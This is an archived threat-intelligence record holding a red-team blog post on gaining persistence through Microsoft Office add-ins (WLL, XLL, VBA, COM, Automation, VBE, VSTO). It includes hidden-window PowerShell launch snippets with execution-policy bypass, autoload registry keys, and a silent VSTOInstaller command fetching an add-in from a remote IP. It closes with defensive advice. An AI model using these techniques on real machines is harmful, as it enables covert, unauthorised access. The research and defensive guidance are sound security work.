{
	"id": "97fa695b-1026-414d-b84e-44356d9d6be9",
	"created_at": "2026-04-06T02:13:07.064978Z",
	"updated_at": "2026-04-10T03:22:13.383768Z",
	"deleted_at": null,
	"sha1_hash": "a582e643e20a5c061544d276c4d01f98d3da30f7",
	"title": "Add-In Opportunities for Office Persistence",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 803727,
	"plain_text": "Add-In Opportunities for Office Persistence\r\nArchived: 2026-04-06 02:07:22 UTC\r\nIntroduction\r\nOne software product that attackers will almost certainly find in the environments that they're targeting is\r\nMicrosoft Office.  Office applications due to this ubiquity present a consistent source of opportunity for\r\npersistence mechanisms.\r\nThis post will explore various opportunities for gaining persistence through native Microsoft Office functionality. \r\nIt was inspired by Kostas Lintovois’ similar work which identified ways to persist in transient Virtual Desktop\r\nInfrastructure (VDI) environments through adding a VBA backdoor to Office template files (“One Template to\r\nRule ‘Em All”).\r\nThe following opportunities for Office-based persistence will be discussed, along with the relative benefits and\r\ndisadvantages of each (from a red team perspective as we’re talking about obtaining persistence):\r\n1. WLL and XLL add-ins for Word.\r\n2. VBA add-ins for Excel and PowerPoint.\r\n3. COM add-ins for all Office products.\r\n4. Automation add-ins for Excel.\r\n5. VBA editor (VBE) add-ins for all VBA using Office products.\r\n6. VSTO add-ins for all Office products.\r\nThe described persistence techniques were tested with Office 2013 running on Windows 7, 8.1 and 10.\r\nWLL and XLL “Add-Ins” for Word and Excel\r\nKey to the work by Kostas and others on persistence using Office templates was the concept of “Trusted\r\nLocations”.  Files located here containing VBA code are not subject to the standard restrictions imposed by the\r\nmacro settings, and the code will be executed without warning even if macros are disabled.  Further research,\r\nhowever, found that certain trusted locations to which a typical standard user has write privileges could also be\r\nused to host DLL-based add-ins.\r\nWLL “Add-Ins” for Word\r\nThe three default locations for Word are shown below.  It can be seen that the purposes of the trusted locations are\r\nsplit between “templates” and “StartUp” functionality.\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 1 of 13\n\nFurther investigation of this “StartUp” trusted location found that it could host “Word Add-Ins” of a “*.wll”\r\nextension.  This is an archaic extension dating back to the days of Word 97 but appears to still be supported, and\r\nthere’s little documentation on how to actually create such a file.  After some research it was identified that a\r\n“*.wll” file is essentially a DLL with additional “Office-specific extensions”.  This means it supports basic DLL\r\nfunctionality, and therefore you can just rename a “*.dll” to a “*.wll”, put it in the “StartUp” trusted location\r\nwhich defaults to a location within the user’s home directory, and get arbitrary code execution when Word starts,\r\nall from a low privileged user.\r\nAn example of this can be seen below, where a WLL add-in launches \"calc.exe\", and can be seen running as a\r\nchild of the Word process, \"WINWORD.EXE\".\r\nFor anyone testing this with DLLs generated through Metasploit's \"msfvenom\" you’ll find that the payload gets\r\nexecuted when Word starts but Word then crashes.  I found that constructing a bare bones C++ DLL that executed\r\ncode directly within DllMain resolved the issue and allowed Word to continue execution.\r\nOne interesting behavior of Word for WLL add-ins is that despite being loaded automatically, and their containing\r\ncode executed, Word lists them as an “inactive” add-in.  Furthermore, and potentially because of this, disabling\r\nadd-ins within Word’s Trust Center does not disable WLL add-ins.\r\n \r\nXLL “Add-Ins” for Excel\r\nExcel has a similar means of extending its functionality using DLLs which are known as XLL add-ins, and have\r\nthe “*.xll” extension.  Unlike WLL add-ins which are automatically loaded when Word opens, Excel needs to be\r\nconfigured to use an XLL add-in through adding a property to an existing registry key.  This key is located at:\r\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 2 of 13\n\nAn “OPEN” property should be added which contains the value of “/R FileNameOfAddIn.xll”.\r\n \r\nA full path does not need to specified, as Excel defaults to looking in “%appdata%\\Microsoft\\AddIns” for the add-in file.   Interestingly, this location is not specified in the trusted locations as was the case with WLL add-ins.  This\r\nis potentially because the trusted locations are primarily focused on providing security controls around VBA\r\nexecution.\r\nThe way that Excel uses XLL add-ins also differs to the way Word uses WLL add-ins.  For each configured XLL\r\nadd-in, Excel will look for exported functions in the DLL and call them as appropriate.  For example, Excel will\r\nlook for and call a function with the name of “xlAutoOpen” when the process first loads.  This function as the\r\nname suggests mimics the behavior of VBA’s “Auto_Open()”.\r\nUnlike WLL add-ins, XLL add-ins are listed as being “active” within Excel’s add-in manager, and can be\r\nprevented from loading by disabling add-ins within the Trust Center.\r\nBenefits\r\n1. No administrative rights needed to write to the user’s “StartUp” location, or configure registry keys.\r\n2. Automatically loaded for Word, and only minimal registry edits are required for Excel.\r\n3. WLL add-ins are not prevented from loading by enabling “Disable all Application Add-ins”. This does not\r\napply to XLL add-ins.\r\n4. WLL add-ins are listed as being \"Inactive\" in Word's GUI for monitoring add-ins, despite actually being\r\n\"Active\". This does not apply to XLL add-ins.\r\n5. They can potentially be used for persistence in Virtual Desktop Infrastructure (VDI) environments.\r\nDisadvantages\r\n1.  Dropping a DLL into \"%appdata%\".\r\n2.  Registry edits are required for XLL add-ins.\r\nVBA “Add-Ins” for Excel and PowerPoint\r\nSimilar to Word, both Excel and PowerPoint have an equivalent “StartUp” trusted location.  In fact, they each\r\nhave two – one that’s user-specific and one that’s system-wide.  The user-specific trusted locations (as that’s where\r\na low privilege user will have write permissions) are referred to as “XLSTART” and “AddIn” for Excel and\r\nPowerPoint respectfully.\r\nThese trusted locations are not intended to store DLL-based add-ins, but instead ones that are VBA-based with a\r\nnon-standard extension intended specifically for add-ins.\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 3 of 13\n\nThis particular persistence vector most closely aligns with Kostas’ work on template persistence.  The key\r\ndistinction between the two approaches is that when VBA is included within a template, it is only executed in\r\ndocuments that derive from that template.  VBA add-ins will execute for their specific event handlers whenever\r\nany document is opened within Excel and PowerPoint regardless of their originating template, but this\r\nfunctionality is limited to these two Office applications.\r\nThe approach to implementing each persistence vector is described below.\r\nExcel\r\nCreate a new Excel spreadsheet, open the VBA editor, and insert a \"Module\" which contains the persistence\r\nmechanism.\r\n \r\nGo to save the spreadsheet, but instead of choosing a standard Excel format choose select “Excel Add-In” from\r\nthe type menu which uses “*.xlam” or “*.xla” depending on the compatibility mode.  This should be saved to the\r\nappropriate trusted location which is typically “%appdata%\\Microsoft\\Excel\\XLSTART”.\r\n \r\nWhen Excel is next opened the add-in will be executed regardless of whether it’s a new spreadsheet or one that’s\r\nbeen previously saved.\r\nPowerPoint\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 4 of 13\n\nPowerPoint VBA Add-Ins can be created in the same manner as with Excel, but in this case the file format is\r\n\"*.ppam\" or \"*.ppa\".  The add-in should then be stored in the appropriate Trusted Location, which as mentioned\r\npreviously this is referred to as “AddIns” in the case of PowerPoint.  It is also typically located at the rather\r\ngeneric looking location of “%appdata%\\Microsoft\\AddIns”, which is also used for the XLL add-ins.\r\nUnlike with Excel, PowerPoint add-ins are not automatically loaded but can be configured to through modifying\r\nthe registry.  Thankfully such modification only needs to occur in the HKEY_CURRENT_USER (HKCU) hive. \r\nThis involves creating a key at the following location:\r\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\AddIns\\\u003cAddInName\u003e\r\nNote that the Office number may also need to be changed, and the 15.0 here refers to Office 2013.  This key\r\nshould then have the following properties. “Autoload” is set to “1” to indicate that it should load the add-in\r\nautomatically when PowerPoint starts.  A full “Path” to the add-in does not need to be provided as PowerPoint is\r\naware of the location it is required to load add-ins from.\r\nBenefits\r\n1. No administrative rights needed.\r\n2. Automatically loaded for Excel.\r\n3. \"Trusted Location\" so there are no problems executing VBA.\r\n4. Despite the file type being an “Add-In”, the “Disable all Application Add-Ins” option does not prevent the\r\nVBA code from executing.\r\n5. You can password protect the Add-In for viewing and editing – but it will still be executed.\r\n6. It can potentially be used for persistence in VDI environments.\r\nDisadvantages\r\n1. Having to endure the excruciating process of writing VBA code.\r\n2. In the case of PowerPoint VBA Add-Ins having to write to the registry.\r\n3. Dropping additional files to disk for both Excel and PowerPoint.\r\nOffice COM Add-Ins\r\nA wholly different way to create add-ins for Office is “COM add-ins”.  Due to the manner in which COM add-ins\r\nwork, it is possible to create a single add-in and have this integrated into all Office applications (including\r\nOutlook).  For example, to run code when such Office programs open.\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 5 of 13\n\nCOM objects (which are stored as “*.dll” files, although are different to traditional DLLs) must be registered (in\r\nthe registry) before use.  Primarily this involves notifying Windows about the COM object (i.e., setting it up in the\r\nHKEY_CLASSES_ROOT hive).  This registration process is defined in the function specified with a\r\n“ComRegisterFunctionAttribute” attribute. \r\nOffice applications must then be further configured to use this COM object which involves creating a single\r\nregistry key with three properties.  This key must be created per application.  The registry key required to tell an\r\nOffice program to load the COM add-in is stored at:\r\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\u003cProgram\u003e\\Addins\\\u003cAddInName\u003e\r\nIn this example, “3” for “LoadBehaviour” specifies that the Office application (here Outlook) should load the\r\nCOM add-in at startup, and the COM add-in is referenced through a “FriendlyName”.\r\n \r\nThe creation of the Office application keys can also be performed within the same function that is handling COM\r\nregistration.  A key benefit of this is allowing the actions to deploy the persistence mechanism to be bundled\r\ntogether thus reducing the number of commands that need to be run to set it up – in this case one using\r\n“regasm.exe”.\r\nWith regards to getting code execution once an Office application loads the COM object, a good location for this\r\nin the code is in the \"OnConnection\" function of the Office-specific \"IDTExtensibility2\" interface.  This interface\r\ndeals with add-in related events, such as for when an add-in is loaded (as with \"OnConnection\") and unloaded. \r\nThe example below shows a hidden cmd window spawning calc.\r\npublic void OnConnection(object application, Extensibility.ext_ConnectMode connectMode, object addInI\r\n{\r\n /* snip */\r\n System.Diagnostics.Process process = new System.Diagnostics.Process();\r\n System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();\r\n startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;\r\n startInfo.FileName = \"powershell.exe\";\r\n startInfo.Arguments = \"-ep bypass -C calc\";\r\n process.StartInfo = startInfo;\r\n process.Start();\r\n}\r\nOnce the COM add-in has been created it can be deployed as follows using regasm.exe which invokes the\r\nregistration function.  This action requires administrative privileges as it writes to HKEY_CLASSES_ROOT.\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 6 of 13\n\nIn the example presented above, the add-in will be loaded when Outlook opens and we’ll be presented with calc.\r\nBenefits\r\n1. Easy to create a single add-in that works across multiple Office products without adaptation.\r\n2. One command to setup (regasm).\r\nDisadvantages\r\n1. Dropping the COM \"*.dll\" file to disk, and the registry edits required for it to be registered and\r\nautomatically loaded.\r\n2. Requires administrative rights for COM registration.\r\n3. Unlikely to be useful for persistence in VDI environments.\r\nExcel Automation Add-In\r\nAs part of its intention to be extensible Excel allows the creation of user defined functions.  Such functions would\r\nbe executed, for example, as part of cell formulae (where “=SUM()” is an example of a built-in function).  These\r\nuser defined functions are stored in what is known as “Automation Add-Ins”.  They’re created in a similar manner\r\nto COM Add-Ins, but have this specific use case.\r\nThere is a registration function as usual with COM, which can also include code to set up the registry to notify\r\nExcel that it should load this add-in at run time.  This key required is located at:\r\nHKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Office\\15.0\\Excel\\Options\r\nEach Automation add-in is listed as the value of a single “OPENx” property, where x is an incrementing number if\r\nmultiple add-ins are enabled at one time.\r\n \r\nIn terms of getting an Automation add-in to actually do something useful for the purposes of persistence, you\r\ndefine user defined functions simply as standard functions within a particular namespace (here\r\n“InconspicuousAddIn”) and class (here “ExtFunctions”) which gets referenced in the above registry property.  The\r\nfunction can do anything a normal function can, including executing arbitrary commands.  The example below\r\nshows a user defined function that counts the number of cells in a selected range after it opens calc.\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 7 of 13\n\npublic double CountCellsRange(object range)\r\n{\r\n System.Diagnostics.Process process = new System.Diagnostics.Process();\r\n System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();\r\n startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;\r\n startInfo.FileName = \"powershell.exe\";\r\n startInfo.Arguments = \"-ep bypass -C calc\";\r\n process.StartInfo = startInfo;\r\n process.Start();\r\n Excel.Range count = range as Excel.Range;\r\n return count.Cells.Count;\r\n}\r\nTo deploy the persistence mechanism, as Excel Automation add-ins are COM-based, regasm can be used once\r\nagain using the same syntax as for the COM add-in.  As can be seen below, post-regasm, the Automation add-in is\r\nnow enabled:\r\n \r\nOnce a user defined function is integrated into Excel, an attacker would still need to find a way to have this\r\ncommand executed.  Unfortunately, it doesn’t appear that you can overwrite built-in functions.  Moreover, user\r\ndefined functions only execute when they are called, and will not execute again if they’ve previously been\r\nexecuted and the result is stored in a document.\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 8 of 13\n\nThe user defined function therefore needs to be \"forcefully\" called, which can be done using VBA.  This is not\r\nideal, but arguably makes it harder for defenders to detect than when putting a full VBA persistence stager in a\r\ntemplate or add-in – it’s less likely to draw suspicion as it could easily be interpreted as a standard Excel function. \r\nThe following snippet of VBA is an example of how this could be achieved.  When the workbook opens, a cell is\r\nselected (obviously in practice something other than 1:1 - A1), and its contents are replaced with the text string of\r\nthe user defined function call.\r\n \r\nBenefits\r\n1. One command to setup (regasm).\r\nDisadvantages\r\n1. Requires administrative rights for COM registration.\r\n2. You still need a way of calling the user defined function.\r\n3. Unlikely to be useful for persistence in VDI environments.\r\nVBE Add-Ins\r\nIt is possible to create a persistence mechanism that does not leverage VBA itself, but the development\r\nenvironment for creating it – the VBA editor (VBE).  The documentation for creating VBE add-ins is scarce;\r\nhowever, it was found to be based on the now familiar COM object using Office’s \"IDTExtensibility2\" interface. \r\nThrough this COM object, arbitrary code could be executed on, for example, the launch of the VBA editor.  As\r\nCOM is used once again, it can be deployed using regasm.  This deployment includes the creation of the registry\r\nkey to inform the VBA editor that it should automatically load the add-in.  This key is stored at:\r\nHKEY_CURRENT_USER\\Software\\Microsoft\\VBA\\VBE\\6.0\\Addins\\\u003cVBEAddIn.Name\u003e\r\nThe key also contains a number of properties, which include a “FriendlyName” to refer to the registered COM\r\nobject, and setting “LoadBehaviour” to “3” to inform the VBA editor to launch the add-in when the editor starts.\r\n \r\nThe configured add-in can be seen within the VBA editor’s “Add-In Manager”.\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 9 of 13\n\nBenefits\r\n1. Easy to create a single add-in that works across multiple Office products without adaptation.\r\n2. One command to setup (regasm).\r\nDisadvantages\r\n1. Requires users to actually open the VBA editor!\r\n2. Requires administrative rights for COM registration.\r\n3. Unlikely to be useful for persistence in VDI environments.\r\nVSTO Add-Ins\r\nVisual Studio Tools for Office (VSTO) will also be covered here for the purposes of completeness.  VSTO is the\r\nreplacement for COM add-ins in newer versions of Office (although the latter is still supported). Unlike COM\r\nadd-ins, however, VSTO requires a special run time to be installed which is not installed by default.\r\nA suitable place for storing persistence commands is the default “ThisAddIn-Startup” function which is\r\nconfigured to handle startup events (e.g., when the module is loaded when the application starts).  An example is\r\nshown below.\r\nprivate void ThisAddIn_Startup(object sender, System.EventArgs e)\r\n{\r\n System.Diagnostics.Process process = new System.Diagnostics.Process();\r\n System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();\r\n startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;\r\n startInfo.FileName = \"powershell.exe\";\r\n startInfo.Arguments = \"-ep bypass -C calc\";\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 10 of 13\n\nprocess.StartInfo = startInfo;\r\n process.Start();\r\n}\r\nThe problem with VSTO add-ins arise when it comes to deploying them.  In part this is due to the requirement for\r\nthe special runtime.  If this is not installed, and there are minimal requirements to avoid detective security controls\r\n(unlikely), it can be installed silently with no user interaction (\"vstor_redist.exe\" in the example below).\r\nThe VSTO add-in (“*.vsto”) can then be installed using a binary (“VSTOInstaller.exe”) which is part of the\r\nruntime.\r\n \r\nUnfortunately, this causes a pop up requiring the user to confirm the installation. You can add a \"/s\" for silent but\r\nthe project needs to be signed by a trusted publisher or it will default to “Don't Install” and silently fail.\r\n \r\nInterestingly \"VSTOInstaller.exe\" is a Microsoft signed binary and the location of the add-in can be specified as a\r\nURL (e.g., \"VSTOInstaller.exe /s /i http://192.168.7.129/OutlookAddIn1.vsto\").  Initially this seems interesting as\r\na potential application whitelisting bypass if a signed VSTO add-in is used.  Unfortunately, Window’s trust model\r\nwould restrict this.  Although a user (or at least the organisation’s system administration team) may trust many\r\ncertification authorities within the “Trusted Root” store, this trust is not implicitly extended to allow them to\r\n“publish” updates to software, and instead there is a separate “Trusted Publisher” store for this which certification\r\nauthorities have to be explicitly enabled in.\r\nBenefits\r\n1. Runtime installer (\"VSTOInstaller.exe\") is an MS signed binary, and can download (silently) the add-in\r\nover HTTP, although it needs to be from a trusted publisher.\r\nDisadvantages\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 11 of 13\n\n1. Requires non-standard VSTO runtime.\r\n2. Can't install silently without being signed by a trusted publisher, although a user might manually install it\r\ngiven that it’s an add-in for a trusted program.\r\n3. Unlikely to be useful for persistence in VDI environments.\r\nDefending Against Malicious Add-Ins\r\nMalicious XLL, COM, Automation, and VSTO add-ins can easily be prevented through disabling add-ins within\r\neach Office application’s Trust Center (or through the appropriate registry keys).\r\n \r\nAlternatively, if add-ins are required, it is recommend they are required to be signed by a trusted publisher, and\r\nthat user notifications are disabled.  The user notifications that are presented when untrusted add-ins are used\r\nprovide limited warning against potential security risk, and users may enable the content, especially if they’re\r\nopening a previously trusted document (e.g., one they’ve created).  An example of a user notification is provided\r\nbelow.\r\nAlthough the WLL and VBA add-ins self-define as add-ins, they’re not affected by the above Trust Center setting. \r\nThis is particularly surprising in the case of WLL add-ins given it’s a DLL-based add-in.\r\nThe most effective way to mitigate against the risk of malicious WLL and VBA add-ins is to remove the “StartUp”\r\ntrusted locations for each if they are not used.  If they are required, at least for Excel and PowerPoint consider\r\nputting the required add-ins in the system-wide trusted location for this purpose, and removing the trusted location\r\nthat exists within the user profile.  This would force an attacker to escalate their privileges in order to use the\r\nsystem-wide location as a persistence mechanism.  In both cases, organisations could also look to ensure that\r\nappropriate access control lists are established for the trusted locations in order to prevent users from adding or\r\nediting existing files. \r\nIt is further recommended that organisations look to develop a detective capability around identifying malicious\r\nadd-ins.  Three core aspects to this involve examining and validating the file system contents of the trusted\r\nlocations, auditing the registry entries relevent for enabling add-ins, and monitoring for non-standard process\r\nrelationships (e.g., examining the processes spawned by Office applications).\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 12 of 13\n\nSource: https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nhttps://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
	],
	"report_names": [
		"add-in-opportunities-for-office-persistence"
	],
	"threat_actors": [],
	"ts_created_at": 1775441587,
	"ts_updated_at": 1775791333,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a582e643e20a5c061544d276c4d01f98d3da30f7.pdf",
		"text": "https://archive.orkl.eu/a582e643e20a5c061544d276c4d01f98d3da30f7.txt",
		"img": "https://archive.orkl.eu/a582e643e20a5c061544d276c4d01f98d3da30f7.jpg"
	}
}